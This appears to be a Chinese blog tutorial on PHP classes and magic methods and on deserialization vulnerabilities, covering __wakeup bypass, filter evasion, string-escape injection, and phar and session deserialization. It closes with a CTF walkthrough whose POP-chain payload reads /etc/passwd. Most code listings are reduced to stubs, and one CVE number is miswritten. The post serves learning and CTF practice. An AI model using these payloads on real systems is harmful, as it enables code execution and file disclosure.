第一节 php基础、类与对象
读文档类与对象
0x1 php中的面向对象
在前面的课程中,我们使用的最小命令单元,是函数或者语言结构,我们可以通过某个函数(比如phpinfo)来执行某个操作,这种使用单独函数来完成特定功能的语言模式,我们叫做面向过程编程。面向过程编程方法的优势是代码简单,开发迅速,不足之处就是如果功能、逻辑、数据进行大量的增长,这时候,代码维护难度将会成倍的增加,扩展性、可移植性就大大降低。
于是以Java为代表的面向对象编程顺势而出,解决了复杂逻辑空间下的编码模式问题,php在最开始的纯面向过程逐步向面向对象模式改进,在保持其一贯的简单易学、编码快速的优势下,同向对象之间取得平衡。
面向对象的思想
面向对象的设计思想主要有
- 系统中一切事物皆为对象
- 对象是属性及其操作的封装体
- 对象可按其性质划分为类,对象成为类的实例
- 实例关系和继承关系是对象之间的静态关系
- 消息传递是对象之间动态联系的唯一形式,也是计算的唯一形式
- 方法是消息的序列
php面向对象的特点
面向对象三大特征:封装、继承、多态
聚类
在面向对象的思路上,功能相似的函数集合在一起
将完成一个共同功能的函数集中起来就是聚类
封装
功能封装,数据封装,供内部各个方法使用
隔离
调用对象从一个蓝图转换到一个可以使用的产品的过程叫做实例化
俩个实例之间的属性不能互相访问,在对象内部,也不能直接访问外部的变量。
继承
继承可以理解为对象的包含,在php中可以使用extends
关键字继承类
多态
在php中是弱类型,在参数传递过程中,可以改变参数的对象类型,作为对象依然是可以传递进去,当同一个参数由不同对象实例传递,那么调用结果就实现不同的状态
例如:
1 | class Command{ |
我们有一个command类,她有一个run方法,会执行参数run方法,然后我们有两个其他对象
1 | class Command{ |
0x2 类与对象
类的属性和方法权限
在php中,类的属性和方法权限有三个权限,分别为
- public
- protected
- private
public权限
被定义为公有类成员可以在任何地方被访问
🌰
1 | class Command{ |
这里用箭头来指向类的属性,箭头之后,不需要$符号
也可以使用var
来定义类属性,如果使用var
定义则默认public
权限
protected权限
被定义为受保护的类成员则可以被其自身以及其子类和父类访问
🌰
1 | class Animal{ |
color
属性可以被子类继承并访问
private权限
私有属性,只能在类自身中访问,其他位置不能访问,包括继承它的类
🌰
1 | class Animal{ |
类的属性
属性声明是由关键字public、protected或者private开头,然后跟一个普通的变量声明来组成。属性中的变量可以初始化,但初始化的值必须是常数,这里的常数是指PHP脚本在编译阶段时就可以得到其值,而不依赖于运行时的信息才能求值。
🌰
1 |
|
静态属性
指不用实例化类对象,直接通过类名访问的属性或者方法
声明类属性或方法为静态,就可以不实例化类而直接访问。静态属性不能通过一个类已实例化的对象来访问(但静态方法可以)
1 |
|
final属性
如果代码中有final
关键字就不允许子类重写父类,如果子类强制重写父类就会报错
类的分类
前面我们定义类的时候,没有修饰,类也是可以有不同的修饰符号的
抽象类
使用abstract
关键字定义抽象类
定义为抽象的类不能被实例化.任何一个类,如果它里面至少有一个方法是被声明为抽象的,那么这个类就必须被声明为抽象的.被定义为抽象的方法只是声明了其调用方式(参数),不能定义其具体的功能实现.
继承一个抽象类的时候,子类必须定义父类中的所有抽象方法;另外,这些方法的访问控制必须和父类中的一样(或者更为宽松).例如某个抽象方法被声明为受保护 的,那么子类中实现的方法就应该声明为受保护的或者公有的,而不能被定义为私有的.此外方法的调用方式必须匹配,即类型和所需参数数量必须一致.例如,子类定义了一个可选参数,而父类抽象方法的声明里没有,则两者的声明并无冲突.
🌰
1 |
|
抽象类的作用是保证他的子类都有指定的共同方法,方便外部调用,而不关心内部的具体实现
总之:
- 抽象类不能实例化,只能实例化子类
- 抽象类可以有具体方法,但至少应该有一个抽象方法
- 继承抽象类的子类必须实现抽象类的所有抽象方法
接口
使用interface
来定义,很像抽象类
使用接口(interface),可以指定某个类必须实现哪些方法,但不需要定义这些方法的具体内容.其中定义的所有的方法都是空的
接口中定义的所有方法都必须是公有的,这是接口的特性
要实现一个接口,使用implements
操作符.类中必须实现接口中定义的所有方法,否则会报一个致命错误.类可以实现多个接口,用逗号来分隔多个接口的名称.
1 |
|
接口允许继承,实现接口,也允许实现多个接口
trait
PHP5.4起,PHP实现了一种代码复用的方法,为trait
Trait 是为类似php单继承语言而备用的一种代码复用机制.Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用method. Trait 和 class组合的语义定义了一种减少复杂性的方式,避免传统多继承和Mixin类相关典型问题.
Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能. 无法通过Trait 自身来实例化. 它为传统继承增加了水平特性的组合; 也就是说应用的几个Class之间不需要继承.
trait 是可以组合的,由多个trait构成一个新的trait
1 |
|
trait配合接口或者抽象类
匿名类
匿名类是为了解决临时实现某个抽象类或者接口类实例用的
匿名类我们关注的点是临时执行下我们自定义的run方法,这个类其他地方也用不到,所以我们不需要给它专门起名定义,占用代码行数,反正Command类的run方法关心的是传入的对象有没有run方法,而不关心传入的对象叫什么名字.
🌰
1 |
|
对象序列化
所有PHP里面的值都可以使用函数serialize()
来返回一个包含字节流的字符串来表示.unserialize()
函数能够重新把字符串变回PHP原来的值. 序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字.
对象序列化 serialize
方法,返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方,有利于存储或传递PHP的值,同时不丢失其类型和结构.
对象反序列化 unserialize
方法,对单一的已序列化的变量进行操作,将其转换回PHP值.
- 字符串和数字都可以序列化/反序列化
第二节 php的序列化与反序列化
0x3 序列化与反序列化
序列化
序列化的本质是将内存中的对象,转换为可以保存,传输的字符
在php中,我们不仅可以序列化对象的实例,也可以序列化一些基本类型
🌰
1 |
|
可以得到序列化字符串
其中第一个s表示被序列化的对象类型,s指string
后面紧跟一个冒号和数字,表示属性的长度,后面冒号+双引号表示属性的内容
我们也可以尝试序列化一个我们自定义的类
1 |
|
可以看到一个对象被序列化以后的字符串
1 | O:6:"Animal":1:{s:4:"name";N;} |
一个对象,名字是6个字符,内容是Animal,有一个属性,是个字符串,名字由4个字符组成,是name,没有值,是Null
属性是有权限的,当属性权限为protected
时,可以看到序列化结果为:
1 | O:6:"Animal":1:{s:7:"*name";N;} |
属性名字前加了*表示这个属性是protected
权限,其实这里还有不可见字符,可以看到长度是7
那么增加的不可见字符是什么呢,就是\x00*\x00
,三个字符加上name的4个字符,刚好是7字符,可以通过urlencode
发现不可见字符,所以遇到非public属性进行序列化时,一定不要直接复制输出,除非进行了urlencode
编码
如果是私有属性反序列化后是类名+属性
1 | O:6:"Animal":1:{s:12:"Animalname";N;} |
可以看到我们虽然序列化的是子类,但是会把父类的私有属性也序列化进去,甚至可以吧trait
看成一种特殊的继承类,也会被序列化进去
抽象类和接口都无法序列化,但是匿名类可以序列化
对象的属性也可以为对象
🌰
1 |
|
这时候,序列化后的字符串为
1 | O:6:"Animal":2:{s:4:"name";N;s:3:"new";O:5:"Human":3:{s:6:"gender";N;s:4:"name";N;s:4:"move";s:4:"step";}} |
一个对象,名字是6个字符,内容是Animal,有1个属性,属性名字是字符串,长度为4,内容name,值是一个对象,对象名字是5个字符,内容是Human,包含三个属性,分别是6个字符的gender,4个字符的name,以及4个字符的move
总结:
序列化就是对一个对象的所有属性,用字符串描述出来,方便反序列化时还原
反序列化
反序列化是对已经序列化后的字符串,重新构造出一个对象使用unserialize
🌰
1 |
|
可以看到输出了一个panda
php对于不识别的类被反序列化后,会给自动分配一个类名,这个类名就是__PHP_Incomplete_Class
总结:
- 反序列化时,必须反序列化已经存在的类
unserialize
函数的参数,必须是字符串unserialize
函数返回的是转换之后的值,可为integer、float、string、array、或object,如果传递的字符串不可解序列化,则返回false
这里说的存在的类,是指在PHP脚本或所包含的文件中,有class关键字定义的类
0x4 PHP中的魔术方法
在php中,存在众多的魔法方法,是每个对象默认都有的方法,不管定义不定义,都会存在
首先总结一下干货, 方便食用
1 | __construct:在创建对象时候初始化对象,一般用于对变量赋初值。 |
sleep和wakeup方法
魔法方法是以两个下划线开头的方法
其中__sleep
方法是序列化的时候,自动调用的方法
serialize()
函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法会被调用,然后才执行序列化操作.此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称数组.
🌰
1 |
|
打印结果为
1 | O:6:"Animal":2:{s:4:"name";s:5:"panda";s:5:"color";s:3:"red";} |
同构__sleep
方法清理后,move
属性并没有进入序列化后的结果和__sleep
方法对应的是wakeup
方法,表示反序列化时,对所反序列化的属性进行处理wakeup
函数可以不需要返回值,时对对象的属性进行一些初始化操作
🌰
1 |
|
可以看到,我们这里反序列化的属性值,不管是不是panda,最终反序列化后,都变成了tiger,所以wakeup方法会在反序列化前被调用,用来提前处理属性的值
construct和destruct方法
和上面方法类似,这里成为构造函数和析构函数
表示对象在实例化时执行的函数和对象要销毁前执行的函数
1 |
|
也就是说,在PHP代码中,实例化一个对象的时候,会自动调用类的__construct
方法,当前php脚本即将运行结束,就会调用已经实例化的类的__destruct
方法 所以上面的栗子会先调用前者,再调用后者.
但是,如果单纯的进行反序列化,不实例化对象时,只会调用__destruct
方法
这里会是一个明显的调用入口,如果我们反序列化一个拥有__destruct
方法的对象时,会自动调用这个析构方法,而如果这个析构方法中,有我们可以控制的值,那么就可以实现我们恶意代码内容
在php反序列化利用,析构方法是很好的入手点,但是我们可能不一定能够找到非常合适的析构方法供我们使用
call和callStatic方法
在对象中调用一个不可访问的方法时,__call()
会被调用
在静态上下文中调用一个不可访问的方法时, __callStatic()
会被调用
1 |
|
get、set和isset、unset
- 在给不可访问属性赋值时,
__set()
会被调用. - 读取不可访问属性的值时,
__get()
会被调用. - 当对不可访问属性调用
isset()
或empty()
时,__isset()
会被调用. - 当对不可访问属性调用
unset()
时,__unset()
会被调用.
tostring方法
__toString()
方法用于一个类被当成字符串时应怎样回应.例如echo $obj;
应该显示些什么.此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR
级别的致命错误.
1 |
|
执行结果
1 | you never know my secret |
这里直接打印对象实例,会自动调用对象的__toString
方法,这里方法名字大小写不敏感
invoke方法
当尝试以调用函数的方式调用一个对象时__invoke()
方法会被自动调用
1 |
|
执行结果
1 | hey charmersix!you never know my secret |
前面魔术方法在我们构造反序列化利用链时非常有用,必须掌握,后面方法,相对冷僻,需要熟悉
set_state方法
自php5.1.0起,当调用var_export()
导出类时,此静态方法会被调用
本方法唯一的参数是一个数组,其中包含array('property'=>value,...)
格式排列的类属性
注意,这里是静态方法,和__tostring
方法类似,不过这里主要输出类的属性结构
1 | static object __set_state(array $properties) |
debugInfo方法
1 | array __debugInfo(void) |
当调用var_dump
时,调用这个方法,显示类的属性具体结构和值
0x5 反序列化中的绕过
绕过__wakeup
方法
这个主要是基于CVE-2016-712
具体利用时通过手动修改类的属性个数,让前后不一致时,__wakeup
函数就会绕过执行,触发可能存在的漏洞
利用条件
- php5-5.6.25
- php7-7.0.10
在这个版本范围之内,可以用这个绕过方法,具体我们看一个栗子
将本地phpstudy中的php调整到5.6
源码
1 |
|
exp
1 |
|
这里我们生成的payload是
1 | O:8:"backdoor":1:{s:4:"name";s:15:"system('calc');";} |
+号绕过正则匹配
如果在输入参数进行了过滤,不允许输入类似O:8
这种开头,主要是为了限制不能反序列化对象,这时候,可以通过在数字前面增加一个+
号过滤,类似O:+8
引用绕过
php中也可以使用引用符号&
,这里就是传址,如果不加,就是传值
传值的最大特点就是引用可以不同,但是指向是相同的
例如
1 |
|
Ascii码绕过
如果在反序列化后的字符串s
变更为大写的S
后,就会支持将里面的字符按照\xx格式Ascii读取,绕过对关键字的检测
例如:
1 | O:8:"backdoor":1:{s:4:"name";s:10:"phpinfo();";} |
修改后的payload为
1 | O:8:"backdoor":1:{S:4:"n\97me";s:10:"phpinfo();";} |
Exception绕过
Exception是异常,看下面栗子
1 |
|
通过破坏里面的属性格式,但是类名正确的情况,还是会执行类的析构方法
payload如下
1 | O:8:"backdoor":1:{1} |
字符逃逸绕过
php在序列化数据的时候,如果序列化的是字符串,就会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且PHP底层实现上是以;
作为分割}
作为结尾
类中不存在的属性也会进行反序列化,这里就会发生逃逸问题,而导致对象注入
🌰
1 |
|
显示结果:
1 | O:8:"backdoor":2:{s:1:"m";s:6:"system;s:1:"c";s:2:"ls";} |
这里我们如果用双引号,闭合,会发现不能闭合
因为这里长度为8,它反序列化的时候,会从后面第一个双引号开始,读取6个字符作为m
的值,即使有双引号,也不能闭合
这里序列化后进行了一次过滤,将system
过滤为了ctfshow
,最后序列化的结果就成了
1 | O:8:"backdoor":2:{s:1:"m";s:6:"ctfshow";";s:1:"c";s:2:"ls";} |
还是从6后面读取6个字符,会读取到ctsho
,由于没有闭合,就反序列化失败了,所以这时候,我们就逃出了1个字符w,如果我们写两个system
让他过滤,就会得到
1 | O:8:"backdoor":2:{s:1:"m";s:12:"ctfshowctfshow";";s:1:"c";s:2:"ls";} |
观察规律,可以知道:system
变成ctfshow
的时候,字母数量由12变成了14,但是序列化的时候没有变,所以写入的字符串长度依旧时12
那么按照以前的12个长度进行读取,会把2个字符逃逸出来
如果这两个字符刚好是双引号,分号,就完整的闭合了属性
这里我们用3个system就可以逃逸出3个字符,我们用";}
来结束反序列化读取
$b->m='systemsystemsystem";}';
替换后得到O:8:"backdoor":2:{s:1:"m";s:21:"ctfshowctfshowctfshow";}";s:1:"c";s:2:"ls";}
可以看到扔掉了c这个属性的值,继续增加system的数量就可以注入我们想要的属性
第三节 phar的反序列化
0x6 什么是phar
phar是一类文件的后缀名称,也是php协议的一种
phar可以将多个php文件合并到一个独立的压缩包,相对独立,不用解压到硬盘即可运行php脚本,支持web服务器和命令行运行
0x7 基于phar的反序列化
phar怎么用
正常来说文件包含是这样的
1 | include "flag.php"; |
对于以上典型的文件包含,php底层是这么处理的
1 | include "file://flag.php"; |
所以要使用phar
包里的文件相应的使用phar
协议进行包含
1 | include "phar://com.ctfshow.fileUtil.phar/file.php"; |
可以发现很像Java的依赖包
1 | import java.util.HashMap; |
所以phar就可以认为是类似于Java的一种jar包, 将相对独立的多个php文件打包在一起, 组成一个独立的模块供其他应用调用, 或者干脆自己打包为一个独立的应用, 类似于我们bp.jar
phar是怎么生成的
那么如何打包一个phar文件呢,首先改一下配置文件
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
然后我们自己着手写一下
1 | //index.php |
然后我们需要新建一个project
目录, 里边放上我们要打包的文件/project/index.php
1 | //index.php |
然后我们执行一下第一个index.php
, 会发现在本地已经生成了一个flag.phar
再写一个include.php
来读取我们的phar文件
1 | //include.php |
最终我们执行一下include.php
, 就可以读取到flag内容
我们在包含的时候也可以不加phar
后缀, 因为php文件没有后缀也是能读取的, like this
phar是怎么反序列化的
比方说这里有一个题目
文件上传, 但是不让上传php、ini、htaccess(黑名单)就可以尝试上传phar文件, phar文件里就有可能用到了
file_exists()
, 就可以利用反序列化
phar的底层原理是c代码, 这里不再细看
当使用phar::getMetadata
方法时, 会进行反序列化, 我们本地测试一下
1 | //index.php |
我们打开phar文件可以发现, 出现了序列化的strings
执行之后, 发现本地生成了flag.phar
, 然后尝试getMetadata
, 看看能否反序列化hack类
1 | //test.php |
可以发现时成功反序列化hack类
那么有没有可以自动反序列化的方法呢, 当然有, 通过尝试, 我们发现include
协议和phar
协议都可以反序列化
1 | //include.php |
那么为什么这个协议就可以反序列化呢, 我们可以看一下php的源码, 具体可以看这里的1874行
能使用phar伪协议
的地方,就能自动反序列化metaData
里面的数据
具体哪些函数可以用phar协议
这里做一个汇总, 可以说是比较全面的
fileatime | filectime | file_exists | file_get_contents | file_put_contents |
---|---|---|---|---|
file | filegroup | fopen | fileinode | filemtime |
fileowner | fileperms | fstat | fseek | is_dir |
is_link | is_readable | is_writeable | is_writable | include |
include_once | opendir | parse_ini_file | rmdir | require |
require_once | readfile | stat | unlink | mkdir |
copy | scandir | filesize | highlight_file | new DirectoryIterator |
两种情况下phar能够利用
- 能够控制上传或者写入phar文件的情况下. 没有恶意类, 但是可以包含. 就会执行phar里面打包的php文件
- 有恶意类, 没有包含, 但是有文件操作函数, 可以控制phar协议头. 可以自动反序列化里面的metaData数据, 配合析构方法, 可能造成漏洞
总结
- phar中, 使用setmetaData函数可以保存任意可反序列化的变量以及类实例
- 文件操作函数中, 只要能控制协议头, 均可自动反序列化metaData的数据
- 文件包含的情况下, 可以直接执行里面的php文件中的php代码
第四节 session的反序列化
0x8 PHP中的session机制
在php.ini
有以下几个默认选项
1 | session.upload_progress.enabled = On |
这里我们只需要了解前四个配置选项即可
0x9 session处理handler引起的安全问题
这里我们写两段PHP代码来本地实验一下
1 | //index.php |
首先我们来看一下本地session.serialize_handler
的不同有什么影响, 这里我们再写一个phpinfo
1 | //phpinfo.php |
可以看到原始的是php
, 这里我们获取一下session试试, 我们可以在本地看到session内容
然后我们换一个handler
来到配置文件修改一下
可以发现明显的不同
1 | ini: session.serialize_handler = php |
如果我们存储的是php_serialize
形式, 然后再用php
这种形式去读取, 就会出现一个反序列化的情况.
比如这样
1 | |O:4:"User":1:{s:4:"name";s:10:"Charmersix";} |
这样就可以把|
后面的反序列化
这里我们做一个题目试试, 由于这个题目曾经出现过ctfshow
平台的年初挑战, 所以是可以免费出现的, 别的一些ctfshow
会员题目由于担心侵权, 所以题目源码就尽量不会出现在我的文章里
1 | //index.php |
1 | //class.php |
这里由于本人比较菜就参考一下官方的wp
思路:
1 | 1.利用happy类的析构方法 |
这里可以发现pop链:
1 | Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show() |
然后我们通过post传一下payload, 构造上传表单
1 | <form action="url" method="POST" enctype="multipart/form-data"> |
构造exp.php
1 |
|
1 |
|
生成payload
1 | O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}} |
这里我们需要在payload前加上|
以及用\
来转义"
最终payload
1 | |O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}} |
发包, 们会发现他这里有一个
所以我们需要把cookie补上, 成功
- Post title: Web_6_PHP反序列化
- Create time: 2022-10-20 00:00:00
- Post link: 2022/10/20/web_6/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.